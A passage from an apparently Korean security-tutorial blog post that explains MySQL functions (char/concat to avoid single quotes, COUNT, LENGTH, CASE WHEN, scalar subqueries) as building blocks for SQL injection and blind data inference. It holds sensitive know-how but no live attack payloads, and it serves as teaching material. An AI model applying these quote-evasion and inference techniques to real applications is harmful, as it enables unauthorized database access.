&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;532&quot; data-origin-height=&quot;280&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bHcxtZ/btsKLwNSael/447HM9oIdkrpykX7ylW7xk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bHcxtZ/btsKLwNSael/447HM9oIdkrpykX7ylW7xk/img.png&quot; data-alt=&quot;그림35 - ASCII 코드를 문자열로 변환 후 concat 함수 사용하여 문자열 합치기(1)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bHcxtZ/btsKLwNSael/447HM9oIdkrpykX7ylW7xk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbHcxtZ%2FbtsKLwNSael%2F447HM9oIdkrpykX7ylW7xk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;532&quot; height=&quot;280&quot; data-origin-width=&quot;532&quot; data-origin-height=&quot;280&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림35 - ASCII 코드를 문자열로 변환 후 concat 함수 사용하여 문자열 합치기(1)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;싱글 쿼터 ' 를 사용하지 못하는 환경에서 concat 함수를 사용하는데, 특정 문자열을 사용하고 싶을 때 concat 함수를 사용할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;admin 문자열을 ASCII 코드로 변환 후 concat 함수 사용하여 문자열을 합친다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select ascii('a'); &amp;rarr; 97&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select ascii('d'); &amp;rarr; 100&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select ascii('m'); &amp;rarr; 109&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select ascii('i'); &amp;rarr; 105&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select ascii('n'); &amp;rarr; 110&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select concat(char(97), char(100), char(109), char(105), char(110));&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; char 함수로 ASCII 코드 97, 100, 109, 105, 110을 문자열로 변환 후 concat 함수 사용하여 합친다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; admin&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;746&quot; data-origin-height=&quot;797&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/TPcoq/btsKK4j1nz6/15rMkxzay2sb0LA3Yr7vlK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/TPcoq/btsKK4j1nz6/15rMkxzay2sb0LA3Yr7vlK/img.png&quot; data-alt=&quot;그림35 - ASCII 코드를 문자열로 변환 후 concat 함수 사용하여 문자열 합치기(2)&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/TPcoq/btsKK4j1nz6/15rMkxzay2sb0LA3Yr7vlK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FTPcoq%2FbtsKK4j1nz6%2F15rMkxzay2sb0LA3Yr7vlK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;746&quot; height=&quot;797&quot; data-origin-width=&quot;746&quot; data-origin-height=&quot;797&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림35 - ASCII 코드를 문자열로 변환 후 concat 함수 사용하여 문자열 합치기(2)&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;COUNT 함수&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;SELECT &lt;span style=&quot;color: #ee2323;&quot;&gt;COUNT&lt;/span&gt;(COLUMN) FROM [TABLE]&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; TABLE에 대한 레코드 개수를 구하는 함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 전체 컬럼에 대한 레코드 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select count(*) from member;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 전체 컬럼에 대한 레코드 개수 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;COUNT 함수를 사용하여 레코드 개수를 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 개수를 알아야지 임계값(목표값)을 알 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;자동화 도구 사용 시 임계값 지정해서 실행하기 때문에 COUNT 함수는 SQL Injection 공격에서 유용하다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;345&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/ctghPg/btsKLtDBolJ/602KBfjZKBuAovkReYKyC1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/ctghPg/btsKLtDBolJ/602KBfjZKBuAovkReYKyC1/img.png&quot; data-alt=&quot;그림36 - count 함수 사용하여 레코드 개수 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/ctghPg/btsKLtDBolJ/602KBfjZKBuAovkReYKyC1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FctghPg%2FbtsKLtDBolJ%2F602KBfjZKBuAovkReYKyC1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;514&quot; height=&quot;345&quot; data-origin-width=&quot;514&quot; data-origin-height=&quot;345&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림36 - count 함수 사용하여 레코드 개수 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;길이 함수&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;623&quot; data-origin-height=&quot;337&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfNPpc/btsKMlSie00/2oAEyf8kIzOsRE0B1qbYM0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfNPpc/btsKMlSie00/2oAEyf8kIzOsRE0B1qbYM0/img.png&quot; data-alt=&quot;그림37 - 길이 함수&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfNPpc/btsKMlSie00/2oAEyf8kIzOsRE0B1qbYM0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfNPpc%2FbtsKMlSie00%2F2oAEyf8kIzOsRE0B1qbYM0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;623&quot; height=&quot;337&quot; data-origin-width=&quot;623&quot; data-origin-height=&quot;337&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림37 - 길이 함수&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;COUNT 함수와 동일하게 SQL Injection 공격 시 유용하게 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;문자열에 대한 임계값을 확인하기 위해 길이 함수가 사용된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;레코드에 대한 임계값 확인 &amp;rarr; COUNT 함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터 길이에 대한 임계값 확인 &amp;rarr; LENGTH 함수&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select length('test');&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; test 문자열의 길이 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select name, length(email) from member;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 name컬럼 출력, email 컬럼의 데이터 길이를 출력&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;508&quot; data-origin-height=&quot;346&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3zOTY/btsKMFDdXx6/SK3tY77MlK2iP2s28RCWW0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3zOTY/btsKMFDdXx6/SK3tY77MlK2iP2s28RCWW0/img.png&quot; data-alt=&quot;그림38 - length 함수 사용하여 길이 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3zOTY/btsKMFDdXx6/SK3tY77MlK2iP2s28RCWW0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3zOTY%2FbtsKMFDdXx6%2FSK3tY77MlK2iP2s28RCWW0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;508&quot; height=&quot;346&quot; data-origin-width=&quot;508&quot; data-origin-height=&quot;346&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림38 - length 함수 사용하여 길이 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;조건문&lt;/b&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;330&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cn61P3/btsKL3FeJJl/B6Zku1kK14kPJKn88rQD9K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cn61P3/btsKL3FeJJl/B6Zku1kK14kPJKn88rQD9K/img.png&quot; data-alt=&quot;그림39 - 조건문&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cn61P3/btsKL3FeJJl/B6Zku1kK14kPJKn88rQD9K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fcn61P3%2FbtsKL3FeJJl%2FB6Zku1kK14kPJKn88rQD9K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;698&quot; height=&quot;330&quot; data-origin-width=&quot;698&quot; data-origin-height=&quot;330&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림39 - 조건문&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조건문 &amp;rarr; 조건의 결과에 따라 값을 반환하는 구문&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DBMS 별로 공통된 &lt;b&gt;CASE WHEN&lt;/b&gt; 구문이 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;CASE WHEN 구문 사용법&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1381&quot; data-origin-height=&quot;377&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/d0y5tD/btsKLkN2vDP/oo7iKs45u4A8gGK5CctwHk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/d0y5tD/btsKLkN2vDP/oo7iKs45u4A8gGK5CctwHk/img.png&quot; data-alt=&quot;그림40 - CASE WEHN 구문 사용법&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/d0y5tD/btsKLkN2vDP/oo7iKs45u4A8gGK5CctwHk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fd0y5tD%2FbtsKLkN2vDP%2Foo7iKs45u4A8gGK5CctwHk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1381&quot; height=&quot;377&quot; data-origin-width=&quot;1381&quot; data-origin-height=&quot;377&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림40 - CASE WEHN 구문 사용법&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select case when 1=1 then 1 else 2 end;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 1=1 이 참일 경우 1 출력, 거짓일 경우 2 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select case when 1=1 then 'True' else 'False' end;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 1=1 이 참일 경우 True 출력, 거짓일 경우 False 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select case when 1=2 then 'True' else 'False' end;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 1=2 가 참일 경우 True 출력, 거짓일 경우 False 출력&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;629&quot; data-origin-height=&quot;412&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/7aux1/btsKOcmIlv5/3ofe1WqHqdvUQQy84MY3ak/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/7aux1/btsKOcmIlv5/3ofe1WqHqdvUQQy84MY3ak/img.png&quot; data-alt=&quot;그림41 - CASE WHEN 구문 사용하여 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/7aux1/btsKOcmIlv5/3ofe1WqHqdvUQQy84MY3ak/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F7aux1%2FbtsKOcmIlv5%2F3ofe1WqHqdvUQQy84MY3ak%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;629&quot; height=&quot;412&quot; data-origin-width=&quot;629&quot; data-origin-height=&quot;412&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림41 - CASE WHEN 구문 사용하여 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;member 테이블의 seq 에 대해 CASE WHEN 구문 사용하기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where seq=(case when 1=1 then 1 else 2 end);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; &lt;span style=&quot;color: #333333; text-align: start;&quot;&gt;1=1이 참인 경우&lt;span&gt; &lt;/span&gt;&lt;/span&gt;member 테이블에서 seq가 1인 레코드 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select * from member where seq=(case when 1=2 then 1 else 2 end);&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 1=2가 거짓인 경우 member 테이블에서 seq가 2인 레코드 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CASE WHEN 구문은 실제 공격 시 조건문[CONDITION]에 원하는 데이터를 추론할 수 있는 공격 페이로드가 담긴다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;조건문에는 특정 DB, 특정 컬럼의 데이터를 담고 있는데, 해당 데이터가 참인지 거짓인지 결과값에 따라서 데이터를 추론할 수 있다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;281&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbAVgb/btsKL4KYLW1/AwTPjOLhzi6AYkDBQdFZqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbAVgb/btsKL4KYLW1/AwTPjOLhzi6AYkDBQdFZqk/img.png&quot; data-alt=&quot;그림42 - CASE WHEN 구문 사용하여 데이터 출력&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbAVgb/btsKL4KYLW1/AwTPjOLhzi6AYkDBQdFZqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbAVgb%2FbtsKL4KYLW1%2FAwTPjOLhzi6AYkDBQdFZqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;687&quot; height=&quot;281&quot; data-origin-width=&quot;687&quot; data-origin-height=&quot;281&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림42 - CASE WHEN 구문 사용하여 데이터 출력&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;서브쿼리&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;서브쿼리(SubQuery) 개념&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1469&quot; data-origin-height=&quot;442&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cqA8li/btsKMj86UpW/ne5005NFOEvdIPHk5SUGY1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cqA8li/btsKMj86UpW/ne5005NFOEvdIPHk5SUGY1/img.png&quot; data-alt=&quot;그림43 - 서브쿼리 개념&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cqA8li/btsKMj86UpW/ne5005NFOEvdIPHk5SUGY1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcqA8li%2FbtsKMj86UpW%2Fne5005NFOEvdIPHk5SUGY1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1469&quot; height=&quot;442&quot; data-origin-width=&quot;1469&quot; data-origin-height=&quot;442&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림43 - 서브쿼리 개념&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;SELECT, FROM, WHERE 절에 따른 서브 쿼리 명칭&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1376&quot; data-origin-height=&quot;511&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cIlNW6/btsKM3xFYBi/ufu0x0KjBc23hHNIEsgKXK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cIlNW6/btsKM3xFYBi/ufu0x0KjBc23hHNIEsgKXK/img.png&quot; data-alt=&quot;그림44 - 서브쿼리 명칭&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cIlNW6/btsKM3xFYBi/ufu0x0KjBc23hHNIEsgKXK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcIlNW6%2FbtsKM3xFYBi%2Fufu0x0KjBc23hHNIEsgKXK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1376&quot; height=&quot;511&quot; data-origin-width=&quot;1376&quot; data-origin-height=&quot;511&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림44 - 서브쿼리 명칭&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;스칼라 서브쿼리 = 1개의 레코드와 1개의 컬럼만 반환한다. &amp;rarr; 1개의 데이터만 반환가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;인라인 뷰 = 1개 이상의 테이블을 기반으로 만들어진 논리적인(가상) 테이블, 다수 컬럼 다수 레코드 반환 가능&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일반 서브쿼리 = 연산자에 따라서 반환되는 레코드와 컬럼의 개수가 다르다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size18&quot;&gt;&lt;b&gt;서브쿼리 종류&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1368&quot; data-origin-height=&quot;514&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cjG1G1/btsKN5g47ek/V5kJMmmGzxjjgc9vy8H041/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cjG1G1/btsKN5g47ek/V5kJMmmGzxjjgc9vy8H041/img.png&quot; data-alt=&quot;그림45 - 서브쿼리 종류&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cjG1G1/btsKN5g47ek/V5kJMmmGzxjjgc9vy8H041/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcjG1G1%2FbtsKN5g47ek%2FV5kJMmmGzxjjgc9vy8H041%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1368&quot; height=&quot;514&quot; data-origin-width=&quot;1368&quot; data-origin-height=&quot;514&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그림45 - 서브쿼리 종류&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;= 사용 시 단일 행 반환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;in 사용 시 다수 행 반환&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;스칼라 서브쿼리 사용&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;select name, (select version()) from member;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; member 테이블에서 name과 버전 정보를 출력&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;rarr; 레코드 생성될 때 마다 버전 정보 같이 출력&lt;/p&gt;
